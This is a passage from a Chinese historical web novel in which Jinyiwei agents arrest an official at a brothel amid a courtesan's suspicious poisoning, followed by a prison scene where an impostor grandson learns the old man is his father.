他完全没察觉到裴期二人已在暗处观察着他。 裴期给杨小旗使了个眼色,两人同时手臂上发力,猛地从窗户翻入屋内。 江大人听到动静,他转身,还未来得及发出呼喊,裴期便一个箭步上前,捂住了他的嘴,同时用匕首抵住了他的咽喉,他压低声音道:“江大人,莫要出声,不出声还能给您留点脸面。” 杨小旗则迅速用随身携带的绳索江大人绑住,此时的江大人浑身发抖,却不知道是吓的还是气的,只见江大人也压低了嗓音,回道:“你们知道我是谁吗?” 随后他立马便反应过来,抓他的人应该不是其他的,就是当朝的锦衣卫。 他咬牙切齿,“你们是锦衣卫!” 两个人并不理他,有多少官员都在被抓之后扬言要秋后算账的,却动不了他们一根手指头。 杨小旗绑好江大人后,警惕地守在门口,留意着外面的动静,以防有同党前来。 江大人眼中闪过一丝慌乱,此时他的身上甚至还贴身放着方才这女子赠给他的肚兜。 若是就这样被抓走了,岂不是叫他颜面尽失? 然而就在此时,外面响起了一阵骚乱声。 裴期敏锐地察觉到,那些骚乱声中有钱苗的声音。 钱苗似乎在大声说,“并不是我!不是我干的!” 裴期双眉紧蹙,“应该是钱苗那边有什么事?我们去看看!” 杨小旗表示赞同。 旁边的江大人眼中闪过一丝光亮,只要眼前这二人离开,那么他便可以让人过来,届时…… 可他的幻想注定是要破灭的。 只见裴期毫不费力地单手将已经绑得严严实实的他提了起来。 并且脚步丝毫没影响地快速朝声音传来的地方走去。 江大人这下心里是又急又气,却又没有丝毫办法。 这两人抓了他就算了,居然还要将他暴露在众目睽睽之下! 这把他的颜面放在何处? 他紧皱着一张脸,闭着眼睛试图不让别人看到他是谁。 很快,随着一阵脚步的颠簸,裴期二人就到了声音传出的地方。 只见钱苗正被几个身形魁梧的大汉围着,地上还躺着几个被打倒的人,看样子是钱苗已经和他们交过手了。 而引人注目的是,在这角落之中,有一位长相素静的女子静静地躺着。 女子的嘴角流出黑血,看样子竟是不久之前刚刚断了气! “我们看你长得老实,才将楼里面的清倌叫来服侍你,没想到你居然胆敢在众目睽睽之下将她给杀害!”其中一位壮汉瞪着眼睛说。 锦衣卫虽然平时行事确实嚣张,可以进行许多不符流程的操作,但这并不意味着可以在众目睽睽之下杀害无辜人的性命。 钱苗显然是慌了,他对着旁边的裴期说:“裴期,你要信我,我没干过。” 旁边跟着的另外几个锦衣卫也点头附和。 只是他们刚说出这话,那几位壮汉便怒目圆睁,叫嚷着要将钱苗送去大理寺。 裴期是十分相信地上这女子的死与钱苗没有关系的。 可现在对方咬着不放,也不能就在这里与他们纠缠。 于是裴期只好侧着身体,不去理会钱苗。 既然现在已经抓到了江大人,他们几人也没有继续隐匿身份的必要。 裴期对着周围人露出了腰牌,说:“锦衣卫办案,如今此事,事关人命,锦衣卫定然会彻查清楚,也请诸位不要在此妨碍公务。” 说完他给了剩下的锦衣卫一个眼色,剩下的锦衣卫便做势将钱苗给押住,准备带回去。 那几个壮汉还要再叫嚷,可是被裴期一看,也便都不敢出声。 “诸位若是有不信服的,明日可向大理寺报案。”裴期看了一眼周围。 他说完,便招呼人,带着一句话也说不出,脸色青白的钱苗和那女子的尸身离开。 众人见他们离开,便也继续之前没干完的事情去了。 他们可从来没将这些青楼的人的性命放在心上。 死了个清倌,在他们心里跟死了个狗儿猫儿差不多。 只是裴期在离开锦绣轩不远之时,只感觉脖颈一痛,然后便只感觉什么东西落进了他的衣服里。 他从怀里掏出来看。 是一张纸条。 裴期展开一看,只见纸条上写着: “月娥,济宁人,有一个姊妹住在青衣巷。” 谁送来的纸条? 裴期忽然有些难受,心口像压了块石头。 不知道为何,他忽然想到,钱苗也有可能是同外祖父一般,受到了自己的牵连。 他不喜欢这样的感觉,心里发闷,模模糊糊的,不知道后面会发生什么。 —— 而另外一边的大理寺中,裴期祖父这么多天求爷爷告奶奶似的,终于求到了人。 这人答应让他们在晚上,深夜时候见一会儿他们心心念念的裴子兼。 女子嘎吱嘎吱地推着裴期祖父的木轮椅到了关着裴建的牢房外。 这里的牢房比上次裴建被关的地方好多了,起码他能够站直身体。 见到来到这儿的两个人,他满脸震惊,“祖父,你是怎么来这儿的?” 他祖父见到了他,先是不说话,一直看着他。 直到连裴建的心中都有些发慌了,他祖父才声音颤抖地说,“冒领功名,他们说的是真的吗?” 祖父费尽了心机要进来见裴建,可是方才与外边守门的狱卒才交谈上一句,他便又恼又急,脑子里一阵炸响。 如果是冒领功名,那岂不是,那岂不是意味着这些年,他对裴建的栽培都付诸东流了?! 这样的罪名,至少都是要流放几年的。 裴建低着头,抿着嘴,一句话也不说,他也说不出来。 他现在能说什么呢? 毕竟如今证据确凿,当初的那份保留在官府内的考卷,如今竟成了催命符。 甚至不止这些,如果大理寺再继续查下去,那…… 裴期祖父见他这个样子,愤怒的捶打了一下牢房的门,发出好大的声响。 旁边的犯人被吵醒了。 眼神不善地盯着他们。 裴期祖父见状,悻悻地把手又放了回去。 然后他又咬了咬牙,恨铁不成钢地看着裴建。 裴建把头低了下去,生怕见到他祖父那失望的眼神。 但他祖父又转念一想,自己的孩子,难道还能不救不成? 只见他深吸了一口气,说:“你也别太担心,我去求人,总能将你救出来。” 裴建瞬间抬头惊喜地看着他的祖父,若是仔细看,他的眼中竟有泪花闪烁。 “多谢祖父,祖父如此大恩,孙儿实在无以为报,只能愿来生也做您的孙儿。” 好一番感天动地的场景。 只是听到裴建说祖父两个字,旁边一直默不作声的女人却不乐意了。 她轻轻摇晃了一下手里握着的轮椅把手。 裴期的祖父也感受到了这阵摇晃。 只见他捋了一把自己的胡子,眼中闪着些犹豫不决。 直到后面的女子有些嗔怪地推了他一下。 他才轻咳了两声,像是下定了决心一般。 他直视着裴建的眼睛,像在宣读什么极其重要的事情一样,“其实,你不应该叫我祖父。” 裴建心中一慌。 难道对方已经发现了什么? 若是对方发现了自己是假的,自己只是农户子,是偷了别人的身份,那么他岂不是要结结实实地将这些刑罚全都受了? 但紧接着他就听到了这样一句话,一句这辈子她都没想过听到的话—— “你应叫我……父亲。” 裴建瞪大了眼睛,这么多年,他已把自己真的当成裴家的亲孙子,裴期的异母弟弟来看待,因此,一时之间,他只感觉如遭雷劈。 他颤抖着问:“父……父亲?” 裴期祖父长叹了一口气, “此事说来话长,多年前,因一些缘由,我不得不将你寄养在他人名下,对外宣称你是裴家的孙辈。本想着时机成熟再告知你真相,却不想如今你遭遇此等大祸。” 说完他又转头看了一眼旁边的女子。 “而这位,便是你的……” 他话还没说完,那旁边的女子便迫不及待从轮椅的后面站出来,眼中闪着泪花,满眼期待地看着裴建。 “叫我母亲,你应叫我母亲。” 她激动地重复了两遍。 两人都看向裴建,好像希望裴建现在就将父亲母亲两个词给叫出来一样。 裴建回过神来,心中只想着他绝不能放弃自己来之不易的一切。 自己还要仰仗眼前的人出去。 于是他僵硬地扯出一个笑容来,说:“父亲,母亲。” 眼前两人感动地答应了一声。 真是父慈子孝。